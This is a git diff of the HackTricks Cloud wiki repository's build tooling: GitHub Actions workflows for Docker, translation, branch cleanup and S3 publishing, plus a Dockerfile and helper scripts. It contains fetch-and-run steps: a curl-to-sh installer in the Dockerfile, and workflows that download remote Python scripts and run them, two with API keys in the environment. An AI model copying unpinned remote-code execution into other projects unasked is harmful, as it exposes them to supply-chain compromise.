We value your knowledge and encourage you to share content. Please ensure that you only upload content that you own or that have permission to share it from the original author (adding a reference to the author in the added text or at the end of the page you are modifying or both). Your respect for intellectual property rights fosters a trustworthy and legal sharing environment for everyone.
## HackTricks Training
Ako dodajete kako biste mogli da prođete ispit za [ARTE certification](https://training.hacktricks.xyz/courses/arte) sa 2 zastavice umesto 3, potrebno je da nazovete PR `arte-<username>`.
If you are adding so you can pass the in the [ARTE certification](https://training.hacktricks.xyz/courses/arte) exam with 2 flags instead of 3, you need to call the PR `arte-<username>`.
Also, remember that grammar/syntax fixes won't be accepted for the exam flag reduction.
In any case, thanks for contributing to HackTricks!
Takođe, zapamtite da ispravke gramatike/sintakse neće biti prihvaćene za smanjenje zastavica ispita.
U svakom slučaju, hvala vam što doprinosite HackTricks!

56
.github/workflows/build_docker.yml vendored Normal file
View File

@@ -0,0 +1,56 @@
name: Build and Push Docker Image
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
- 'book/**'
workflow_dispatch:
concurrency: build_docker
permissions:
packages: write
id-token: write
contents: write
jobs:
build-and-push:
runs-on: ubuntu-latest
steps:
# 1. Check out the repository to get the Dockerfile
- name: Check out code
uses: actions/checkout@v3
with:
fetch-depth: 0
# 2. Log into GitHub Container Registry
- name: Log in to GHCR
uses: docker/login-action@v2
with:
registry: ghcr.io
username: ${{ github.actor }}
password: ${{ secrets.GITHUB_TOKEN }}
# 3. Build and push
- name: Build and push Docker image
run: |
# Define image name
IMAGE_NAME=ghcr.io/hacktricks-wiki/hacktricks-cloud/translator-image
# Build Docker image
docker build -t $IMAGE_NAME:latest .
# Push Docker image to GHCR
docker push $IMAGE_NAME:latest
# Set image visibility to public
curl -X PATCH \
-H "Authorization: Bearer ${{ secrets.GITHUB_TOKEN }}" \
-H "Accept: application/vnd.github.v3+json" \
https://api.github.com/user/packages/container/translator-image/visibility \
-d '{"visibility":"public"}'

View File

@@ -14,12 +14,15 @@ on:
concurrency: build_master
permissions:
packages: write
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
container:
image: ghcr.io/hacktricks-wiki/hacktricks-cloud/translator-image:latest
environment: prod
steps:
@@ -27,32 +30,65 @@ jobs:
uses: actions/checkout@v4
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
# Build the mdBook
- name: Build mdBook
run: mdbook build
run: MDBOOK_BOOK__LANGUAGE=en mdbook build || (echo "Error logs" && cat hacktricks-preprocessor-error.log && echo "" && echo "" && echo "Debug logs" && (cat hacktricks-preprocessor.log | tail -n 20) && exit 1)
# Cat hacktricks-preprocessor.log
#- name: Cat hacktricks-preprocessor.log
# run: cat hacktricks-preprocessor.log
- name: Install GitHub CLI
run: |
curl -fsSL https://cli.github.com/packages/githubcli-archive-keyring.gpg | sudo dd of=/usr/share/keyrings/githubcli-archive-keyring.gpg \
&& sudo chmod go+r /usr/share/keyrings/githubcli-archive-keyring.gpg \
&& echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/githubcli-archive-keyring.gpg] https://cli.github.com/packages stable main" | sudo tee /etc/apt/sources.list.d/github-cli.list > /dev/null \
&& sudo apt update \
&& sudo apt install gh -y
- name: Publish search index release asset
shell: bash
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
run: |
set -euo pipefail
ASSET="book/searchindex.js"
TAG="searchindex-en"
TITLE="Search Index (en)"
if [ ! -f "$ASSET" ]; then
echo "Expected $ASSET to exist after build" >&2
exit 1
fi
TOKEN="${GITHUB_TOKEN}"
if [ -z "$TOKEN" ]; then
echo "No token available for GitHub CLI" >&2
exit 1
fi
export GH_TOKEN="$TOKEN"
# Delete the release if it exists
echo "Checking if release $TAG exists..."
if gh release view "$TAG" --repo "$GITHUB_REPOSITORY" >/dev/null 2>&1; then
echo "Release $TAG already exists, deleting it..."
gh release delete "$TAG" --yes --repo "$GITHUB_REPOSITORY" --cleanup-tag || {
echo "Failed to delete release, trying without cleanup-tag..."
gh release delete "$TAG" --yes --repo "$GITHUB_REPOSITORY" || {
echo "Warning: Could not delete existing release, will try to recreate..."
}
}
sleep 2 # Give GitHub API a moment to process the deletion
else
echo "Release $TAG does not exist, proceeding with creation..."
fi
# Create new release (with force flag to overwrite if deletion failed)
gh release create "$TAG" "$ASSET" --title "$TITLE" --notes "Automated search index build for master" --repo "$GITHUB_REPOSITORY" || {
echo "Failed to create release, trying with force flag..."
gh release delete "$TAG" --yes --repo "$GITHUB_REPOSITORY" --cleanup-tag >/dev/null 2>&1 || true
sleep 2
gh release create "$TAG" "$ASSET" --title "$TITLE" --notes "Automated search index build for master" --repo "$GITHUB_REPOSITORY"
}
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3

204
.github/workflows/cleanup_branches.yml vendored Normal file
View File

@@ -0,0 +1,204 @@
name: Cleanup Merged/Closed PR Branches
on:
schedule:
- cron: '0 2 * * 0' # Every Sunday at 2 AM UTC
workflow_dispatch: # Allow manual triggering
inputs:
dry_run:
description: 'Dry run (show what would be deleted without actually deleting)'
required: false
default: 'false'
type: boolean
permissions:
contents: write
pull-requests: read
jobs:
cleanup-branches:
runs-on: ubuntu-latest
steps:
- name: Checkout repository
uses: actions/checkout@v4
with:
fetch-depth: 0 # Need full history to see all branches
token: ${{ secrets.PAT_TOKEN }}
- name: Install GitHub CLI
run: |
curl -fsSL https://cli.github.com/packages/githubcli-archive-keyring.gpg | sudo dd of=/usr/share/keyrings/githubcli-archive-keyring.gpg \
&& sudo chmod go+r /usr/share/keyrings/githubcli-archive-keyring.gpg \
&& echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/githubcli-archive-keyring.gpg] https://cli.github.com/packages stable main" | sudo tee /etc/apt/sources.list.d/github-cli.list > /dev/null \
&& sudo apt update \
&& sudo apt install gh -y
- name: Configure git
run: |
git config --global user.email "action@github.com"
git config --global user.name "GitHub Action"
- name: Cleanup merged/closed PR branches
env:
GH_TOKEN: ${{ secrets.PAT_TOKEN }}
run: |
echo "Starting branch cleanup process..."
# Check if this is a dry run
DRY_RUN="${{ github.event.inputs.dry_run || 'false' }}"
if [ "$DRY_RUN" = "true" ]; then
echo "🔍 DRY RUN MODE - No branches will actually be deleted"
echo ""
fi
# Define protected branches and patterns
protected_branches=(
"master"
"main"
)
# Translation branch patterns (any 2-letter combination)
translation_pattern="^[a-zA-Z]{2}$"
# Get all remote branches except protected ones
echo "Fetching all remote branches..."
git fetch --all --prune
# Get list of all remote branches (excluding HEAD)
all_branches=$(git branch -r | grep -v 'HEAD' | sed 's/origin\///' | grep -v '^$')
# Get all open PRs to identify branches with open PRs
echo "Getting list of open PRs..."
open_pr_branches=$(gh pr list --state open --json headRefName --jq '.[].headRefName' | sort | uniq)
echo "Open PR branches:"
echo "$open_pr_branches"
echo ""
deleted_count=0
skipped_count=0
for branch in $all_branches; do
branch=$(echo "$branch" | xargs) # Trim whitespace
# Skip if empty
if [ -z "$branch" ]; then
continue
fi
echo "Checking branch: $branch"
# Check if it's a protected branch
is_protected=false
for protected in "${protected_branches[@]}"; do
if [ "$branch" = "$protected" ]; then
echo " ✓ Skipping protected branch: $branch"
is_protected=true
skipped_count=$((skipped_count + 1))
break
fi
done
if [ "$is_protected" = true ]; then
continue
fi
# Check if it's a translation branch (any 2-letter combination)
# Also protect any branch that starts with 2 letters followed by additional content
if echo "$branch" | grep -Eq "$translation_pattern" || echo "$branch" | grep -Eq "^[a-zA-Z]{2}[_-]"; then
echo " ✓ Skipping translation/language branch: $branch"
skipped_count=$((skipped_count + 1))
continue
fi
# Check if branch has an open PR
if echo "$open_pr_branches" | grep -Fxq "$branch"; then
echo " ✓ Skipping branch with open PR: $branch"
skipped_count=$((skipped_count + 1))
continue
fi
# Check if branch had a PR that was merged or closed
echo " → Checking PR history for branch: $branch"
# Look for PRs from this branch (both merged and closed)
pr_info=$(gh pr list --state all --head "$branch" --json number,state,mergedAt --limit 1)
if [ "$pr_info" != "[]" ]; then
pr_state=$(echo "$pr_info" | jq -r '.[0].state')
pr_number=$(echo "$pr_info" | jq -r '.[0].number')
merged_at=$(echo "$pr_info" | jq -r '.[0].mergedAt')
if [ "$pr_state" = "MERGED" ] || [ "$pr_state" = "CLOSED" ]; then
if [ "$DRY_RUN" = "true" ]; then
echo " 🔍 [DRY RUN] Would delete branch: $branch (PR #$pr_number was $pr_state)"
deleted_count=$((deleted_count + 1))
else
echo " ✗ Deleting branch: $branch (PR #$pr_number was $pr_state)"
# Delete the remote branch
if git push origin --delete "$branch" 2>/dev/null; then
echo " Successfully deleted remote branch: $branch"
deleted_count=$((deleted_count + 1))
else
echo " Failed to delete remote branch: $branch"
fi
fi
else
echo " ✓ Skipping branch with open PR: $branch (PR #$pr_number is $pr_state)"
skipped_count=$((skipped_count + 1))
fi
else
# No PR found for this branch - it might be a stale branch
# Check if branch is older than 30 days and has no recent activity
last_commit_date=$(git log -1 --format="%ct" origin/"$branch" 2>/dev/null || echo "0")
if [ "$last_commit_date" != "0" ] && [ -n "$last_commit_date" ]; then
# Calculate 30 days ago in seconds since epoch
thirty_days_ago=$(($(date +%s) - 30 * 24 * 60 * 60))
if [ "$last_commit_date" -lt "$thirty_days_ago" ]; then
if [ "$DRY_RUN" = "true" ]; then
echo " 🔍 [DRY RUN] Would delete stale branch (no PR, >30 days old): $branch"
deleted_count=$((deleted_count + 1))
else
echo " ✗ Deleting stale branch (no PR, >30 days old): $branch"
if git push origin --delete "$branch" 2>/dev/null; then
echo " Successfully deleted stale branch: $branch"
deleted_count=$((deleted_count + 1))
else
echo " Failed to delete stale branch: $branch"
fi
fi
else
echo " ✓ Skipping recent branch (no PR, <30 days old): $branch"
skipped_count=$((skipped_count + 1))
fi
else
echo " ✓ Skipping branch (cannot determine age): $branch"
skipped_count=$((skipped_count + 1))
fi
fi
echo ""
done
echo "=================================="
echo "Branch cleanup completed!"
if [ "$DRY_RUN" = "true" ]; then
echo "Branches that would be deleted: $deleted_count"
else
echo "Branches deleted: $deleted_count"
fi
echo "Branches skipped: $skipped_count"
echo "=================================="
# Clean up local tracking branches (only if not dry run)
if [ "$DRY_RUN" != "true" ]; then
echo "Cleaning up local tracking branches..."
git remote prune origin
fi
echo "Cleanup process finished."

195
.github/workflows/translate_all.yml vendored Normal file
View File

@@ -0,0 +1,195 @@
name: Translator All
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
- Dockerfile
workflow_dispatch:
permissions:
packages: write
id-token: write
contents: write
jobs:
translate:
name: Translate → ${{ matrix.name }} (${{ matrix.branch }})
runs-on: ubuntu-latest
environment: prod
# Run N languages in parallel (tune max-parallel if needed)
strategy:
fail-fast: false
# max-parallel: 3 #Nothing to run all in parallel
matrix:
include:
- { name: "Afrikaans", language: "Afrikaans", branch: "af" }
- { name: "German", language: "German", branch: "de" }
- { name: "Greek", language: "Greek", branch: "el" }
- { name: "Spanish", language: "Spanish", branch: "es" }
- { name: "French", language: "French", branch: "fr" }
- { name: "Hindi", language: "Hindi", branch: "hi" }
- { name: "Italian", language: "Italian", branch: "it" }
- { name: "Japanese", language: "Japanese", branch: "ja" }
- { name: "Korean", language: "Korean", branch: "ko" }
- { name: "Polish", language: "Polish", branch: "pl" }
- { name: "Portuguese", language: "Portuguese", branch: "pt" }
- { name: "Serbian", language: "Serbian", branch: "sr" }
- { name: "Swahili", language: "Swahili", branch: "sw" }
- { name: "Turkish", language: "Turkish", branch: "tr" }
- { name: "Ukrainian", language: "Ukrainian", branch: "uk" }
- { name: "Chinese", language: "Chinese", branch: "zh" }
# Ensure only one job per branch runs at a time (even across workflow runs)
concurrency:
group: translate-${{ matrix.branch }}
cancel-in-progress: false
container:
image: ghcr.io/hacktricks-wiki/hacktricks-cloud/translator-image:latest
env:
LANGUAGE: ${{ matrix.language }}
BRANCH: ${{ matrix.branch }}
steps:
- name: Checkout code
uses: actions/checkout@v4
with:
fetch-depth: 0
- name: Update and download scripts
run: |
sudo apt-get update
# Install GitHub CLI properly
curl -fsSL https://cli.github.com/packages/githubcli-archive-keyring.gpg | sudo dd of=/usr/share/keyrings/githubcli-archive-keyring.gpg \
&& sudo chmod go+r /usr/share/keyrings/githubcli-archive-keyring.gpg \
&& echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/githubcli-archive-keyring.gpg] https://cli.github.com/packages stable main" | sudo tee /etc/apt/sources.list.d/github-cli.list > /dev/null \
&& sudo apt update \
&& sudo apt install gh -y \
&& sudo apt-get install -y wget
wget -O /tmp/get_and_save_refs.py https://raw.githubusercontent.com/HackTricks-wiki/hacktricks-cloud/master/scripts/get_and_save_refs.py
wget -O /tmp/compare_and_fix_refs.py https://raw.githubusercontent.com/HackTricks-wiki/hacktricks-cloud/master/scripts/compare_and_fix_refs.py
wget -O /tmp/translator.py https://raw.githubusercontent.com/HackTricks-wiki/hacktricks-cloud/master/scripts/translator.py
- name: Run get_and_save_refs.py
run: |
python /tmp/get_and_save_refs.py
- name: Download language branch & update refs
run: |
pwd
ls -la
git config --global --add safe.directory "$GITHUB_WORKSPACE"
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git config pull.rebase false
git checkout $BRANCH
git pull
python /tmp/compare_and_fix_refs.py --files-unmatched-paths /tmp/file_paths.txt
git add .
git commit -m "Fix unmatched refs" || echo "No changes to commit"
git push || echo "No changes to push"
- name: Run translation script on changed files
run: |
git checkout master
cp src/SUMMARY.md /tmp/master-summary.md
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n ",$file" >> /tmp/file_paths.txt
fi
done
echo "Files to translate (`wc -l < /tmp/file_paths.txt`):"
cat /tmp/file_paths.txt
echo ""
echo ""
touch /tmp/file_paths.txt
if [ -s /tmp/file_paths.txt ]; then
python /tmp/translator.py \
--language "$LANGUAGE" \
--branch "$BRANCH" \
--api-key "$OPENAI_API_KEY" \
-f "$(cat /tmp/file_paths.txt)" \
-t 3
else
echo "No markdown files changed, skipping translation."
fi
- name: Sync SUMMARY.md from master
run: |
git checkout "$BRANCH"
git pull
if [ -f /tmp/master-summary.md ]; then
cp /tmp/master-summary.md src/SUMMARY.md
git add src/SUMMARY.md
git commit -m "Sync SUMMARY.md with master" || echo "SUMMARY already up to date"
git push || echo "No SUMMARY updates to push"
else
echo "master summary not exported; failing"
exit 1
fi
- name: Build mdBook
run: |
git checkout "$BRANCH"
git pull
MDBOOK_BOOK__LANGUAGE=$BRANCH mdbook build || (echo "Error logs" && cat hacktricks-preprocessor-error.log && echo "" && echo "" && echo "Debug logs" && (cat hacktricks-preprocessor.log | tail -n 20) && exit 1)
- name: Publish search index release asset
shell: bash
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
run: |
set -euo pipefail
ASSET="book/searchindex.js"
TAG="searchindex-${BRANCH}"
TITLE="Search Index (${BRANCH})"
if [ ! -f "$ASSET" ]; then
echo "Expected $ASSET to exist after build" >&2
exit 1
fi
TOKEN="${GITHUB_TOKEN}"
if [ -z "$TOKEN" ]; then
echo "No token available for GitHub CLI" >&2
exit 1
fi
export GH_TOKEN="$TOKEN"
# Delete the release if it exists
if gh release view "$TAG" --repo "$GITHUB_REPOSITORY" >/dev/null 2>&1; then
echo "Release $TAG already exists, deleting it..."
gh release delete "$TAG" --yes --repo "$GITHUB_REPOSITORY"
fi
# Create new release
gh release create "$TAG" "$ASSET" --title "$TITLE" --notes "Automated search index build for $BRANCH" --repo "$GITHUB_REPOSITORY"
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: |
echo "Current branch:"
git rev-parse --abbrev-ref HEAD
echo "Syncing $BRANCH to S3"
aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete
echo "Sync completed"
echo "Cat 3 files from the book"
find . -type f -name 'index.html' -print | head -n 3 | xargs -r cat

23
.github/workflows/upload_ht_to_ai.yml vendored Normal file
View File

@@ -0,0 +1,23 @@
name: Upload HackTricks to HackTricks AI
on:
workflow_dispatch:
schedule:
- cron: "0 5 1 * *"
jobs:
dowload-clean-push:
runs-on: ubuntu-latest
environment: prod
steps:
# 1. Download the script
- name: Dowload script
run: wget "https://raw.githubusercontent.com/HackTricks-wiki/hacktricks-cloud/refs/heads/master/scripts/upload_ht_to_ai.py"
- name: Install pip dependencies
run: python3 -m pip install openai
# 2. Execute the script
- name: Execute script
run: export MY_OPENAI_API_KEY=${{ secrets.MY_OPENAI_API_KEY }}; python3 "./upload_ht_to_ai.py"

1
.gitignore vendored
View File

@@ -35,3 +35,4 @@ book
book/*
hacktricks-preprocessor.log
hacktricks-preprocessor-error.log
searchindex.js

31
Dockerfile Normal file
View File

@@ -0,0 +1,31 @@
# Use the official Python 3.12 Bullseye image as the base
FROM python:3.12-bullseye
# Install system dependencies
RUN apt-get update && apt-get install -y \
curl \
wget \
git \
sudo \
build-essential \
awscli
# Install Python libraries
RUN pip install --upgrade pip && \
pip install openai tqdm tiktoken
# Install Rust & Cargo
RUN curl https://sh.rustup.rs -sSf | sh -s -- -y
ENV PATH="/root/.cargo/bin:${PATH}"
# Install mdBook & plugins
RUN cargo install mdbook
RUN cargo install mdbook-alerts
RUN cargo install mdbook-reading-time
RUN cargo install mdbook-pagetoc
RUN cargo install mdbook-tabs
RUN cargo install mdbook-codename
# Set the working directory
WORKDIR /app

View File

@@ -1,34 +0,0 @@
# HackTricks Cloud
{{#include ./banners/hacktricks-training.md}}
<figure><img src="images/cloud.gif" alt=""><figcaption></figcaption></figure>
_Hacktricks logotipi i animacije dizajnirao_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
> [!TIP]
> Dobrodošli na stranicu gde ćete pronaći svaki **hacking trik/tehniku/šta god vezano za CI/CD & Cloud** koju sam naučio u **CTF-ima**, **pravim** životnim **okruženjima**, **istražujući** i **čitajuci** istraživanja i vesti.
### **Pentesting CI/CD Metodologija**
**U HackTricks CI/CD Metodologiji ćete pronaći kako da pentestujete infrastrukturu vezanu za CI/CD aktivnosti.** Pročitajte sledeću stranicu za **uvod:**
[pentesting-ci-cd-methodology.md](pentesting-ci-cd/pentesting-ci-cd-methodology.md)
### Pentesting Cloud Metodologija
**U HackTricks Cloud Metodologiji ćete pronaći kako da pentestujete cloud okruženja.** Pročitajte sledeću stranicu za **uvod:**
[pentesting-cloud-methodology.md](pentesting-cloud/pentesting-cloud-methodology.md)
### Licenca & Odricanje
**Proverite ih u:**
[HackTricks Values & FAQ](https://app.gitbook.com/s/-L_2uGJGU7AVNRcqRvEi/welcome/hacktricks-values-and-faq)
### Github Statistika
![HackTricks Cloud Github Statistika](https://repobeats.axiom.co/api/embed/1dfdbb0435f74afa9803cd863f01daac17cda336.svg)
{{#include ./banners/hacktricks-training.md}}

1
README.md Symbolic link
View File

@@ -0,0 +1 @@
src/README.md

View File

@@ -1,6 +1,7 @@
[book]
authors = ["HackTricks Team"]
language = "en"
multilingual = false
src = "src"
title = "HackTricks Cloud"
@@ -8,17 +9,26 @@ title = "HackTricks Cloud"
create-missing = false
extra-watch-dirs = ["translations"]
[preprocessor.alerts]
after = ["links"]
[preprocessor.reading-time]
[preprocessor.pagetoc]
[preprocessor.tabs]
[preprocessor.codename]
[preprocessor.hacktricks]
command = "python3 ./hacktricks-preprocessor.py"
env = "prod"
[output.html]
additional-css = ["theme/tabs.css", "theme/pagetoc.css"]
additional-css = ["theme/pagetoc.css", "theme/tabs.css"]
additional-js = [
"theme/tabs.js",
"theme/pagetoc.js",
"theme/tabs.js",
"theme/ht_searcher.js",
"theme/sponsor.js",
"theme/ai.js"
@@ -26,7 +36,6 @@ additional-js = [
no-section-label = true
preferred-dark-theme = "hacktricks-dark"
default-theme = "hacktricks-light"
hash-files = false
[output.html.fold]
enable = true # whether or not to enable section folding

View File

@@ -53,17 +53,11 @@ def ref(matchobj):
if href.endswith("/"):
href = href+"README.md" # Fix if ref points to a folder
if "#" in href:
result = findtitle(href.split("#")[0], book, "source_path")
if result is None or result[0] is None:
raise Exception(f"Chapter not found")
chapter, _path = result
chapter, _path = findtitle(href.split("#")[0], book, "source_path")
title = " ".join(href.split("#")[1].split("-")).title()
logger.debug(f'Ref has # using title: {title}')
else:
result = findtitle(href, book, "source_path")
if result is None or result[0] is None:
raise Exception(f"Chapter not found")
chapter, _path = result
chapter, _path = findtitle(href, book, "source_path")
logger.debug(f'Recursive title search result: {chapter["name"]}')
title = chapter['name']
except Exception as e:
@@ -71,17 +65,11 @@ def ref(matchobj):
dir = path.dirname(current_chapter['source_path'])
logger.debug(f'Error getting chapter title: {href} trying with relative path {path.normpath(path.join(dir,href))}')
if "#" in href:
result = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
if result is None or result[0] is None:
raise Exception(f"Chapter not found")
chapter, _path = result
chapter, _path = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
title = " ".join(href.split("#")[1].split("-")).title()
logger.debug(f'Ref has # using title: {title}')
else:
result = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
if result is None or result[0] is None:
raise Exception(f"Chapter not found")
chapter, _path = result
chapter, _path = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
title = chapter["name"]
logger.debug(f'Recursive title search result: {chapter["name"]}')
except Exception as e:
@@ -159,14 +147,8 @@ if __name__ == '__main__':
context, book = json.load(sys.stdin)
logger.debug(f"Context: {context}")
logger.debug(f"Book keys: {book.keys()}")
# Handle both old (sections) and new (items) mdbook API
book_items = book.get('sections') or book.get('items', [])
for chapter in iterate_chapters(book_items):
if chapter is None:
continue
for chapter in iterate_chapters(book['sections']):
logger.debug(f"Chapter: {chapter['path']}")
current_chapter = chapter
# regex = r'{{[\s]*#ref[\s]*}}(?:\n)?([^\\\n]*)(?:\n)?{{[\s]*#endref[\s]*}}'

View File

@@ -0,0 +1,88 @@
#!/bin/bash
# Define the image folder and the root of your project
IMAGE_FOLDER="./src/images"
PROJECT_ROOT="."
# Move to the project root
cd "$PROJECT_ROOT" || exit
# Loop through each image file in the folder
find "$IMAGE_FOLDER" -type f | while IFS= read -r image; do
# Extract the filename without the path
image_name=$(basename "$image")
# If image file name contains "sponsor", skip it
if [[ "$image_name" == *"sponsor"* ]]; then
echo "Skipping sponsor image: $image_name"
continue
fi
if [[ "$image_name" == *"arte"* ]]; then
echo "Skipping arte image: $image_name"
continue
fi
if [[ "$image_name" == *"grte"* ]]; then
echo "Skipping grte image: $image_name"
continue
fi
if [[ "$image_name" == *"azrte"* ]]; then
echo "Skipping azrte image: $image_name"
continue
fi
if [[ "$image_name" == *"websec"* ]]; then
echo "Skipping sponsor image: $image_name"
continue
fi
if [[ "$image_name" == *"venacus"* ]]; then
echo "Skipping sponsor image: $image_name"
continue
fi
if [[ "$image_name" == *"CLOUD"* ]]; then
echo "Skipping sponsor image: $image_name"
continue
fi
if [[ "$image_name" == *"cloud.gif"* ]]; then
echo "Skipping sponsor image: $image_name"
continue
fi
if [[ "$image_name" == *"CH_logo"* ]]; then
echo "Skipping sponsor image: $image_name"
continue
fi
if [[ "$image_name" == *"lasttower"* ]]; then
echo "Skipping sponsor image: $image_name"
continue
fi
echo "Checking image: $image_name"
# Search for the image name using rg and capture the result
search_result=$(rg -F --files-with-matches "$image_name" \
--no-ignore --hidden \
--glob '!.git/*' \
--glob '!$IMAGE_FOLDER/*' < /dev/null)
echo "Search result: $search_result"
# If rg doesn't find any matches, delete the image
if [ -z "$search_result" ]; then
echo "Deleting unused image: $image"
rm "$image"
else
echo "Image used: $image_name"
echo "$search_result"
fi
done
echo "Cleanup completed!"

View File

@@ -0,0 +1,165 @@
#!/usr/bin/env python3
import argparse
import json
import re
from pathlib import Path
SRC_DIR = Path("./src")
REFS_JSON = Path("/tmp/refs.json")
# Matches content between {{#ref}} and {{#endref}}, including newlines, lazily
REF_RE = re.compile(r"{{#ref}}\s*([\s\S]*?)\s*{{#endref}}", re.MULTILINE)
def extract_refs(text: str):
"""Return a list of refs (trimmed) in appearance order."""
return [m.strip() for m in REF_RE.findall(text)]
def replace_refs_in_text(text: str, new_refs: list):
"""Replace all refs in text with new_refs, maintaining order."""
matches = list(REF_RE.finditer(text))
if len(matches) != len(new_refs):
return text # Can't replace if counts don't match
# Replace from end to beginning to avoid offset issues
result = text
for match, new_ref in zip(reversed(matches), reversed(new_refs)):
# Get the full match span to replace the entire {{#ref}}...{{#endref}} block
start, end = match.span()
# Format the replacement with proper newlines
formatted_replacement = f"{{{{#ref}}}}\n{new_ref}\n{{{{#endref}}}}"
result = result[:start] + formatted_replacement + result[end:]
return result
def main():
parser = argparse.ArgumentParser(description="Compare and fix refs between current branch and master branch")
parser.add_argument("--files-unmatched-paths", type=str,
help="Path to file where unmatched file paths will be saved (comma-separated on first line)")
args = parser.parse_args()
if not SRC_DIR.is_dir():
raise SystemExit(f"Not a directory: {SRC_DIR}")
if not REFS_JSON.exists():
raise SystemExit(f"Reference file not found: {REFS_JSON}")
# Load the reference refs from master branch
try:
with open(REFS_JSON, 'r', encoding='utf-8') as f:
master_refs = json.load(f)
except (json.JSONDecodeError, UnicodeDecodeError) as e:
raise SystemExit(f"Error reading {REFS_JSON}: {e}")
print(f"Loaded reference data for {len(master_refs)} files from {REFS_JSON}")
files_processed = 0
files_modified = 0
files_with_differences = 0
unmatched_files = [] # Track files with unmatched refs
# Track which files exist in current branch
current_files = set()
for md_path in sorted(SRC_DIR.rglob("*.md")):
rel = md_path.relative_to(SRC_DIR).as_posix()
rel_with_src = f"{SRC_DIR.name}/{rel}" # Include src/ prefix for output
files_processed += 1
# Track this file as existing in current branch
current_files.add(rel)
try:
content = md_path.read_text(encoding="utf-8")
except UnicodeDecodeError:
# Fallback if encoding is odd
content = md_path.read_text(errors="replace")
current_refs = extract_refs(content)
# Check if file exists in master refs
if rel not in master_refs:
if current_refs:
print(f"⚠️ NEW FILE with refs: {rel_with_src} (has {len(current_refs)} refs)")
files_with_differences += 1
unmatched_files.append(rel_with_src)
continue
master_file_refs = master_refs[rel]
# Compare ref counts
if len(current_refs) != len(master_file_refs):
print(f"📊 REF COUNT MISMATCH: {rel_with_src} -- Master: {len(master_file_refs)} refs, Current: {len(current_refs)} refs")
files_with_differences += 1
unmatched_files.append(rel_with_src)
continue
# If no refs in either, skip
if not current_refs and not master_file_refs:
continue
# Compare individual refs
differences_found = False
for i, (current_ref, master_ref) in enumerate(zip(current_refs, master_file_refs)):
if current_ref != master_ref:
if not differences_found:
print(f"🔍 REF DIFFERENCES in {rel_with_src}:")
differences_found = True
print(f" Ref {i+1}:")
print(f" Master: {repr(master_ref)}")
print(f" Current: {repr(current_ref)}")
if differences_found:
files_with_differences += 1
unmatched_files.append(rel_with_src)
# Replace current refs with master refs
try:
new_content = replace_refs_in_text(content, master_file_refs)
if new_content != content:
md_path.write_text(new_content, encoding="utf-8")
files_modified += 1
print(f" ✅ Fixed refs in {rel_with_src}")
else:
print(f" ❌ Failed to replace refs in {rel_with_src}")
except Exception as e:
print(f" ❌ Error fixing refs in {rel_with_src}: {e}")
# Check for files that exist in master refs but not in current branch
unexisted_files = 0
for master_file_rel in master_refs.keys():
if master_file_rel not in current_files:
rel_with_src = f"{SRC_DIR.name}/{master_file_rel}"
print(f"🗑️ {rel_with_src} (existed in master but not in current one)")
unexisted_files += 1
unmatched_files.append(rel_with_src)
# Save unmatched files to specified path if requested
if args.files_unmatched_paths and unmatched_files:
try:
unmatched_paths_file = Path(args.files_unmatched_paths)
unmatched_paths_file.parent.mkdir(parents=True, exist_ok=True)
with open(unmatched_paths_file, 'w', encoding='utf-8') as f:
f.write(','.join(list(set(unmatched_files))))
print(f"📝 Saved {len(unmatched_files)} unmatched file paths to: {unmatched_paths_file}")
except Exception as e:
print(f"❌ Error saving unmatched paths to {args.files_unmatched_paths}: {e}")
elif args.files_unmatched_paths and not unmatched_files:
# Create empty file if no unmatched files found
try:
unmatched_paths_file = Path(args.files_unmatched_paths)
unmatched_paths_file.parent.mkdir(parents=True, exist_ok=True)
unmatched_paths_file.write_text('\n', encoding='utf-8')
print(f"<EFBFBD> No unmatched files found. Created empty file: {unmatched_paths_file}")
except Exception as e:
print(f"❌ Error creating empty unmatched paths file {args.files_unmatched_paths}: {e}")
print(f"\n SUMMARY:")
print(f" Files processed: {files_processed}")
print(f" Files with different refs: {files_with_differences}")
print(f" Files modified: {files_modified}")
print(f" Non existing files: {unexisted_files}")
if unmatched_files:
print(f" Unmatched files: {len(unmatched_files)}")
if __name__ == "__main__":
main()

View File

@@ -0,0 +1,38 @@
#!/usr/bin/env python3
import json
import re
from pathlib import Path
SRC_DIR = Path("./src")
REFS_JSON = Path("/tmp/refs.json")
# Matches content between {{#ref}} and {{#endref}}, including newlines, lazily
REF_RE = re.compile(r"{{#ref}}\s*([\s\S]*?)\s*{{#endref}}", re.MULTILINE)
def extract_refs(text: str):
"""Return a list of refs (trimmed) in appearance order."""
return [m.strip() for m in REF_RE.findall(text)]
def main():
if not SRC_DIR.is_dir():
raise SystemExit(f"Not a directory: {SRC_DIR}")
